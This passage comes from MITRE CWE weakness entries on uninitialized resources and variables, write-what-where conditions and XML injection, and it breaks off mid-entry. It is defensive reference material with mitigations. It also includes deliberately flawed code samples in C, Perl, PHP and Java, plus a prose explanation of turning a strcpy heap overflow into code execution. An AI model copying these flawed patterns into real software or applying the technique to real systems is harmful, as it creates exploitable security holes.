[REF-474] Douglas C. Schmidt, Timothy H. Harrison and Nat Pryce. "Thread-Specifc Storage for C/C++". <http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	Anonymous Tool Vendor (under NDA)
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Taxonomy_Mappings
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Name
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships, Taxonomy_Mappings
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2010-09-27	Use of Singleton Pattern in a Non-thread-safe Manner

Weakness ID: 908

View customized information:

Description

The product uses or accesses a resource that has not been initialized.

Extended Description

When a resource has not been properly initialized, the product may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the product.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	665	Improper Initialization
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	457	Use of Uninitialized Variable
CanFollow	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	909	Missing Initialization of Resource

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	399	Resource Management Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	665	Improper Initialization

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory; Read Application Data When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.
Availability	Technical Impact: DoS: Crash, Exit, or Restart The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

(bad code)

Example Language: Java

private boolean initialized = true;
public void someMethod() {

if (!initialized) {

// perform initialization tasks
...

initialized = true;

}

Example 2

The following code intends to limit certain operations to the administrator only.

(bad code)

Example Language: Perl

$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {

$uid = ExtractUserID($state);

}

# do stuff
if ($uid == 0) {

DoAdminThings();

}

Example 3

The following code intends to concatenate a string to a variable and print the string.

(bad code)

Example Language: C

char str[20];
strcat(str, "hello world");
printf("%s", str);

Example 4

(bad code)

Example Language: C

char *test_string;
if (i != err_val)
{

test_string = "Hello World!";

}
printf("%s", test_string);

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

(good code)

Example Language: C

char *test_string = "Done at the beginning";
if (i != err_val)
{

test_string = "Hello World!";

}
printf("%s", test_string);

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

(good code)

Example Language: C

char *test_string;
if (i != err_val)
{

test_string = "Hello World!";

}
else {

test_string = "Done on the other side!";

}
printf("%s", test_string);

Observed Examples

Reference	Description
CVE-2019-9805	Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption.
CVE-2008-4197	Use of uninitialized memory may allow code execution.
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution.
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak.
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.
CVE-2008-3688	Chain: Uninitialized variable leads to infinite loop.
CVE-2008-3475	Chain: Improper initialization leads to memory corruption.
CVE-2005-1036	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap
CVE-2008-3597	Chain: game server can access player data structures before initialization has happened leading to NULL dereference
CVE-2009-2692	Chain: uninitialized function pointers can be dereferenced allowing code execution
CVE-2009-0949	Chain: improper initialization of memory can lead to NULL dereference
CVE-2009-3620	Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference

Potential Mitigations

Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile the product with settings that generate warnings about uninitialized variables or data.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)
Resultant	(where the weakness is typically related to the presence of some other weaknesses)

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP33-C	CWE More Abstract	Do not read uninitialized memory

References

[REF-436] mercy. "Exploiting Uninitialized Data". 2006-01. <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip>.

Content History

Submissions
Submission Date	Submitter	Organization
2012-12-21 (CWE 2.4, 2013-02-21)	CWE Content Team	MITRE
2012-12-21 (CWE 2.4, 2013-02-21)	New weakness based on discussion on the CWE research list in December 2012.
Modifications
Modification Date	Modifier	Organization
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Description, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples, Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 457

View customized information:

Description

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	908	Use of Uninitialized Resource
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	456	Missing Initialization of a Variable

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	665	Improper Initialization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	665	Improper Initialization

Modes Of Introduction

Phase	Note
Implementation	In C, using an uninitialized char * in some string libraries will return incorrect results, as the libraries expect the null terminator to always be at the end of a string, even if the string is empty.

Applicable Platforms

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Perl (Often Prevalent)

PHP (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	Technical Impact: Other Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.
Authorization Other	Technical Impact: Other Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This code prints a greeting using information stored in a POST request:

(bad code)

Example Language: PHP

if (isset($_POST['names'])) {

$nameArray = $_POST['names'];

}
echo "Hello " . $nameArray['first'];

This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

Example 2

The following switch statement is intended to set the values of the variables aN and bN before they are used:

(bad code)

Example Language: C

int aN, Bn;
switch (ctl) {

case -1:

aN = 0;
bN = 0;
break;

case 0:

aN = i;
bN = -i;
break;

case 1:

aN = i + NEXT_SZ;
bN = i - NEXT_SZ;
break;

default:

aN = -1;
aN = -1;
break;

}
repaint(aN, bN);

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

Example 3

(bad code)

Example Language: C

char *test_string;
if (i != err_val)
{

test_string = "Hello World!";

}
printf("%s", test_string);

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

(good code)

Example Language: C

char *test_string = "Done at the beginning";
if (i != err_val)
{

test_string = "Hello World!";

}
printf("%s", test_string);

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

(good code)

Example Language: C

char *test_string;
if (i != err_val)
{

test_string = "Hello World!";

}
else {

test_string = "Done on the other side!";

}
printf("%s", test_string);

Observed Examples

Reference	Description
CVE-2019-15900	Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863).
CVE-2008-3688	Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.
CVE-2007-4682	Crafted input triggers dereference of an uninitialized object pointer.
CVE-2007-3468	Crafted audio file triggers crash when an uninitialized variable is used.
CVE-2007-2728	Uninitialized random seed variable used.

Potential Mitigations

Phase: Implementation

Strategy: Attack Surface Reduction

Assign all variables to an initial value.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

Phases: Implementation; Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

Detection Methods

Fuzzing

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	398	7PK - Code Quality
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Uninitialized variable
7 Pernicious Kingdoms			Uninitialized Variable
Software Fault Patterns	SFP1		Glitch in computation
SEI CERT Perl Coding Standard	DCL33-PL	Imprecise	Declare identifiers before using them

References

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

[REF-436] mercy. "Exploiting Uninitialized Data". 2006-01. <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Description, Relationships, Observed_Example, Other_Notes, References, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Demonstrative_Examples
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Demonstrative_Examples
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Applicable_Platforms, Description, Other_Notes, Potential_Mitigations, Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Modes_of_Introduction, Other_Notes
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples, Observed_Examples, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Uninitialized Variable

Weakness ID: 123

View customized information:

Description

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write
PeerOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	415	Double Free
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	134	Use of Externally-Controlled Format String
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	364	Signal Handler Race Condition
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	416	Use After Free
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	479	Signal Handler Use of a Non-reentrant Function
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	590	Free of Memory not on the Heap

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity; DoS: Crash, Exit, or Restart; Bypass Protection Mechanism Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.
Integrity Availability	Technical Impact: DoS: Crash, Exit, or Restart; Modify Memory Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.
Access Control Other	Technical Impact: Bypass Protection Mechanism; Other When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

(bad code)

Example Language: C

#define BUFSIZE 256
int main(int argc, char **argv) {

char *buf1 = (char *) malloc(BUFSIZE);
char *buf2 = (char *) malloc(BUFSIZE);
strcpy(buf1, argv[1]);
free(buf2);

}

Vulnerability in this case is dependent on memory layout. The call to strcpy() can be used to write past the end of buf1, and, with a typical layout, can overwrite the accounting information that the system keeps for buf2 when it is allocated. Note that if the allocation header for buf2 can be overwritten, buf2 itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for buf2 will probably be buf1, and the next chunk may be null. When the free() occurs, most memory allocators will rewrite the linked list using data from buf2. Particularly, the "next" chunk for buf1 will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where they have placed malicious code, resulting in arbitrary code execution.

Observed Examples

Reference	Description
CVE-2022-21668	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).
CVE-2022-0545	Chain: 3D renderer has an integer overflow (CWE-190) leading to write-what-where condition (CWE-123) using a crafted image.

Potential Mitigations

Phase: Architecture and Design

Strategy: Language Selection

Use a language that provides appropriate memory abstractions.

Phase: Operation

Use OS-level preventative functionality integrated after the fact. Not a complete solution.

Weakness Ordinalities

Ordinality	Description
Resultant	(where the weakness is typically related to the presence of some other weaknesses)

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	970	SFP Secondary Cluster: Faulty Buffer Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Write-what-where condition
CERT C Secure Coding	ARR30-C	Imprecise	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	Imprecise	Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns	SFP8		Faulty Buffer Access

References

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Common_Consequences, Other_Notes
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Demonstrative_Examples
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Causal_Nature, Common_Consequences, Demonstrative_Examples, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships, Taxonomy_Mappings
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated References
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Relationships, Taxonomy_Mappings
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples

Weakness ID: 91

View customized information:

Description

The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

Extended Description

Within XML, special elements could include reserved words or characters such as "<", ">", """, and "&", which could then be used to add new data or modify XML syntax.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	137	Data Neutralization Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Technical Impact: Execute Unauthorized Code or Commands; Read Application Data; Modify Application Data

Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	713	OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	727	OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	810	OWASP Top Ten 2010 Category A1 - Injection
